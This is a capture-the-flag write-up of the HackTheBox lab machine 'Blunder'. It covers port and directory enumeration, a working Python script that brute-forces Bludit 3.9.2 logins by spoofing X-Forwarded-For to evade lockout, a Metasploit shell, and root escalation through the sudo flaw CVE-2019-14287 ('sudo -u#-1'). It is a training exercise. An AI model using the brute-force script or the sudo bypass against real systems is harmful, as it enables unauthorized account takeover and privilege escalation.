Jump Ahead: Enum – User – Root – Resources
TL;DR;
To solve this machine, we began by enumerating open services – finding ports 21
and 80
open. Looking at the source code on the webserver, we find out the CMS is Bludit
version 3.9.2
, which is vulnerable to a bruteforce protection bypass attack. After further enumerating the webserver, we find a username, and use cewl to generate a potential password list. After doing so, we are able to get valid credentials for Bludit. Now that we have valid application credentials, we are able to use Metasploit to get a reverse shell as www-data
. After enumerating the machine, we find a password hash for hugo
, and use an online cracker to get the plaintext password. Using the credentials, we get access as hugo
and can read user.txt
. Running sudo -l
, we see that we can run bash as any user except root
. Researching the version of sudo, we see that it is vulnerable to CVE-2019-14287
. Exploiting the vulnerability, we now have a shell as root
, which gives us access to root.txt
.
Enumeration
Like all machines, we begin by enumerating exposed services – only finding 2 ports open.
$ nmap -p- --min-rate 3000 10.10.10.191
[...]
$ nmap -A -p21,80 -oA scans/nmap/tcp-scripts 10.10.10.191
# Nmap 7.80 scan initiated Fri Jun 5 22:14:55 2020 as: nmap -A -p21,80 -oA scans/nmap/tcp-scripts 10.10.10.191
Nmap scan report for 10.10.10.191
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 5 22:15:04 2020 -- 1 IP address (1 host up) scanned in 8.87 seconds
Next, we enumerate the web server using gobuster.
$ for i in files directories; do gobuster dir -t 30 -u http://$RHOST -w /opt/wordlists/seclists/Discovery/Web-Content/raft-medium-$i.txt -o scans/web/gobuster-80-rm${i:0:1}.txt; done
/admin (Status: 301)
/about (Status: 200)
/0 (Status: 200)
/server-status (Status: 403)
/LICENSE (Status: 200)
/usb (Status: 200)
[...]
/install.php (Status: 200)
/.htaccess (Status: 403)
/robots.txt (Status: 200)
/.html (Status: 403)
/.php (Status: 403)
/.htpasswd (Status: 403)
/.htm (Status: 403)
/.htpasswds (Status: 403)
/.gitignore (Status: 200)
/.htgroup (Status: 403)
/wp-forum.phps (Status: 403)
/.htaccess.bak (Status: 403)
/.htuser (Status: 403)
/.ht (Status: 403)
/.htc (Status: 403)
/todo.txt (Status: 200)
Getting User
Looking at /install.php
, we learn that the webserver is hosting Bludit
– a flat-file CMS. Next, we look at /todo.txt
, which reveals the username fergus
, and also reveals that the CMS is outdated.
Looking at the source code of the index page, we learn that Bludit may be version 3.9.2
.
Researching this version of Bludit, we learn that it is vulnerable to RCE in the file upload function. To exploit this and get a reverse shell, we need valid credentials. Since we have a potential username (fergus
), we can modify this script to bruteforce the password using a password list.
#script modified by Khaotic
#original at https://rastating.github.io/bludit-brute-force-mitigation-bypass/
#!/usr/bin/env python3
import re
import requests
import sys
host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
#wordlist = []
# Generate 50 incorrect passwords
#for i in range(10):
# wordlist.append('Password{i}'.format(i = i))
# Add the correct password to the end of the list
#wordlist.append('adminadmin')
#for password in wordlist:
f = open(sys.argv[1], 'r')
for password in f:
if 1 == 1:
password = password.strip()
session = requests.Session()
login_page = session.get(login_url)
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
print('[*] Trying: {p}'.format(p = password))
headers = {
'X-Forwarded-For': password,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
'Referer': login_url
}
data = {
'tokenCSRF': csrf_token,
'username': username,
'password': password,
'save': ''
}
login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)
if 'location' in login_result.headers:
if '/admin/dashboard' in login_result.headers['location']:
print()
print('SUCCESS: Password found!')
print('Use {u}:{p} to login.'.format(u = username, p = password))
print()
break
To generate a password list, we will use cewl.
$ cewl http://10.10.10.191 > poss-pass.txt
Once the password list is generated, we can use the script to bruteforce the password. Having done so, we now have the password for fergus
. We can now use Metasploit to get a meterpreter shell on the system as www-data
.
$ bludit_bf.py poss-pass.txt
Looking around the webserver files, we eventually come across /var/www/bludit-3.10.0a/bl-content/databases/users.php
(which from earlier Bludit research, we know to be the file to contain credentials). Within it, we find the username hugo
and a password hash. Using the internet to crack the hash, we now have the password.
Using su hugo
, we are able to login as hugo
and gain access to user.txt
.
Getting Root
Since we now have access as hugo
, our first step in enumeration is check what we can run as root
or another user. To do that, we run sudo -l
.
Having done that, we see that we are allowed to run bash as any user, except root
. That’s oddly specific, so let’s check the version of the sudo command for a potential vulnerability. sudo -V
reveals that the machine has version 1.8.25p1
installed, which we learn is vulnerable to CVE-2019-14287. This vulnerability allows us to bypass the user restriction, by supplying -1
or its unsigned equivalent (4294967295) to convert it into UID 0 (root). Exploiting this vulnerability, we get a shell as root
, and can now read root.txt
.
$ sudo -u#-1 /bash
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!